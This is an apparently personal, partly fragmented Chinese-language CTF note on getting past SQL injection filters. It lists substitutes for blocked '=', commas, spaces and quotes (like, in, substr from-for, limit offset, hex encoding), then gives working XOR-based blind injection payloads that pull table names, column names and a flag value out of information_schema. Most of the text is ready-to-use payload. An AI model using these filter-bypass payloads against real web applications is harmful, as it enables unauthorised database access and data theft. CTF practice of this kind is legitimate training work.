还在补充中:…
=
可用 like
,regexp
,in
来代替:=
被过滤了,可以用 like
来代替。
如果=
和like
被过滤了,也可以用regexp
或者 in
来代替,后面都有,
注意:尽量不要用regepx来做,后面有解释,用 in like是可以的。这个 和 = 的效果是一样的。regexp是正则,如果ord是100的化,你regexp(1)也会是成功的。。。当然除非我们使用regexp的正则规定,算了没找到,就不要用regexp了吧。
能用
尽量不要用regep
ascii
,不能用bool盲注了。可用ord
来代替:,
逗号被过滤了:substr(***,1,1)
用这个来代替:substr(***from({})for(1))
substr(***,1,1)
,用 substr(***from({})for(1))
。来代替。limit 0,1
用这个来代替:limit 1 offset {}
这个测试过滤,不能够用括号来代替空格。。。
如果1^0
这样的,错误的时候有回显,正确的时候没有回显,那么我们完全可以再加一个抑或啊,像这样:1^0^1
。这样,就能够达到我们一一对应的目的了
这个稍微有点鸡肋,不过还好,用了 group_concat
因为这样 以来select
就不用 limit 这样了,就不需要使用 空格
了。
关于ord
,in regex
什么的可以看上面
查找库名的:
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables) where(table_schema)in(database()))from({})for(1)))>{})^1
这个放到 pad++中好好看看括号什么的。
?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))from(1)for(1)))>(1))^1
查找 表名的
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))from({})for(1)))in({}))^1
爆列明: 这个过滤了单引号 ,,用16进制绕过,为 falg字段的16进制。
1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)in(0x666c6167))from({})for(1)))in({}))^1
爆flag:
1^(ord(substr((select(group_concat(flag))from(web1.flag))from({})for(1)))in({}))^1